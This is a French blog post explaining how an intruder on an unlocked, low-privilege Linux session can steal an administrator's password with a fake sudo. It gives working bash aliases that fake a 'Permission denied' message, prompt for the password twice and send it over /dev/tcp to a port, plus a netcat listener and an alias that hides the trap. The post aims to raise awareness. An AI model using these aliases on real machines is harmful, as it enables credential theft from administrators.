{Linux} – Subtiliser un mot de passe en toute discrétion

 

Salut à vous les Dyrknautes !

Une fois n'est pas coutume, je vais donc vous parler d'un sujet qui à mon sens est important, d'autant plus dans le contexte actuel d'urgence sanitaire : La sécurité.

On a tous déjà été l'auteur ou la victime d'un pc non verrouillé, entraînant l'inévitable sanction de devoir rapporter le lendemain des croissants au bureau. En dehors de cet épisode qui prête à sourire se cache malheureusement une sombre réalité .. et si la personne qui tombe sur ce pc non verrouillé n'a pas de bonnes intentions.

J'ai eu l'occasion il y a quelque temps d'échanger avec l'un de mes collègues sur le sujet, lui expliquant ainsi que ça n'est pas forcément parce qu'un environnement est limité au moment de l'intrusion, qu'il le sera toujours.

 

La patience du Hacker ...

En effet, la majeure partie des problèmes de sécurité sont "humains", un hacker va par exemple s'introduire sur la session d'un utilisateur n'ayant pas ou peu de droits ... c'est suffisant pour y installer un piège... car malgré l'absence de droits  ... tôt ou tard.. une personne ayant plus de droits viendra sur cette session y faire des modifications, et dans la majeure partie du temps s'affranchira des problématiques de sécurité.

#root@/root: su - utilisateurSansDroits
$utilisateurSansDroits: cd /root
Permission Denied
$utilisateurSansDroits: sudo cd /root

Dans l'exemple ci-dessous, un administrateur se connecte sur la session de "UtilisateurSansDroits", puis il décide depuis cet utilisateur d'accéder à un répertoire auquel cet utilisateur n'a pas droits ...
Il va donc utiliser son super pouvoir de "sudo" pour y accéder, et c'est là que réside la faille !

Un Hacker qui aura infiltré cette session, aura eu tout loisir de créer une fausse interface administrateur, trompant ainsi notre vrai administrateur.

Sans plus attendre je vous présente un script assez minimaliste détaillant comment avec pas grand chose, si ce n'est un peu de patience, un hacker parviendra à récupérer un mot de passe administrateur sous linux.

Le piège à mot de passe

Comme je vous l'expliquais un peu plus haut, il y a de forte probabilité pour qu'un administrateur vienne un jour à se connecter sur une session ayant moins de droits, et que par facilité, il décide depuis cette session d'appliquer des manipulations requérant une élévation des droits.

C'est donc avec 2 alias qu'un hacker parviendra à ses fins (récupérer le mot de passe de l'administrateur)

alias cd="printf \"Permission denied\n\""; 
alias sudo="for i in {1..2}; do printf \"[sudo] password for $USER :\";read -s choco; printf \"\nSorry, try again.\n\"; done; echo \"\$choco\" > /dev/tcp/127.0.0.1/999; unalias cd; unalias sudo;"

"cd" permet d'accéder à un dossier, l'alias mis en place vise à remplacer "temporairement" cette commande pour simplement afficher un message "Permission Refusé".

L'administrateur se posera peut-être les bonnes questions, ou peut-être pas ... dans ce cas il utilisera la commande "sudo" (permettant l'élévation des droits) ... mais c'est là qu'intervient le deuxième alias, qui lui aussi va remplacer temporairement cette commande ... pour simuler exactement la même chose que celle-ci, mais en récupérant au passage le mot de passe de l'administrateur.

Le "Faux sudo"

Le paragraphe suivant détaille rapidement la manœuvre pour conduire un administrateur à saisir son mot de passe. Ce paragraphe ci va passer plus en détails sur le faux alias "sudo" pour que vous puissiez comprendre ce qui se passe.

for i in {1..2}; do 
printf "[sudo] password for $USER :";
read -s choco;
printf "\nSorry, try again.\n";
done;
echo "$choco" > /dev/tcp/127.0.0.1/999;
unalias cd;
unalias sudo;

Cet "alias" va réaliser 2 fois une demande de mot de passe (simulant ainsi une erreur de mot de passe et confortant l'administrateur dans son sentiment d'être sur un vrai "sudo")
Lorsque l'administrateur aura saisi ses 2 mots de passe, alors la dernière saisie sera envoyée sur le port "999" d'une machine dont l'ip est "127.0.0.1" (bien entendu, il s'agit ici d'un exemple, un hacker aura probablement renseigné un nom de domaine afin de le récupérer directement chez lui)

Pour finir, les alias "cd" et "sudo" seront supprimés, afin de dissiper toute forme de soupçon.

 

Et les antivirus dans tout ça

Oui je pense que certains linuxiens vont s'étouffer avec leurs tartines et leurs jus d’orange.
Je suis obligé depuis peu, d'être équipé d'un super Antivirus (dont je tairais le nom) sur mon "Linux". Mais bon c'est justement pour moi l'occasion de vous en dire du bien ... ou pas.
La technique décrite plus haut à l'heure ou je vous parle, passe entre les mailles du filet de n'importe quel antivirus.
Pour la simple et bonne raison qu'un alias est une forme de raccourci et qu'ici la seule partie qui pourrait potentiellement déranger l'antivirus, c'est l'exfiltration de données. Mais je doute que pour une
attaque ciblée, un hacker utilise "viagra.com" pour réaliser ses méfaits.

 

Faire le test à la maison

Il est parfaitement normal que vous souhaitiez vous rendre compte par vous même du danger que cela peut représenter.
Dans un premier terminal, exécutez le code avec les 2 alias situés un peu plus haut.
Dans un second terminal exécutez le code suivant :

sudo nc -l 999

Dans le terminal où vous aurez mis les alias, essayez un "cd quelquechose", puis un sudo ... (allez au bout du processus en renseignant un faux mot de passe). Vous devriez voir apparaitre dans le second terminal le faux mot de passe.

Comment me protéger

Si vous avez un doute, vous pouvez utiliser la commande "alias" (sans paramètre), celle-ci vous listera la liste des alias, la comparer avec les fichiers ~/.bashrc et ~/.bash_profile. Malheureusement .... comme vous vous en doutez, cette commande elle même peut-être remplacée ...

alias alias="printf \"alias ll='ls -la'\n\""

C'est donc très très compliqué de faire face à ce genre de menace ...
Comme je le disais plus haut, un environnement restreint ne limitera malheureusement pas un hacker à agir sur celui-ci.

 

Conclusion

J'espère que cet article qui sort Dyrk de quelques mois de léthargie, vous aura plu.
Comme je vous l'ai annoncé il y a plusieurs mois, Dyrk ne pourra plus fournir autant d'article que par le passé ;)
Ce qui ne m'empêche pas de lire avec grand plaisir vos petits messages plein de bienveillance.
Je vous souhaite en tout cas le meilleur pour cette nouvelle année 2021 (hé oui, j'ai honte de moi même je n'ai pas fait d'article pour vous souhaiter la bonne année ... m'enfin le contexte actuel nous rend tous un peu morose) 
Bref portez-vous bien !

Et pour terminer mon conseil est donc ... la prudence, et surtout .... "VERROUILLEZ VOS PC !!!!" ;)

 

4 comments

Répondre à colson maddy Annuler la réponse

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Ce site est protégé par reCAPTCHA et le GooglePolitique de confidentialité etConditions d'utilisation appliquer.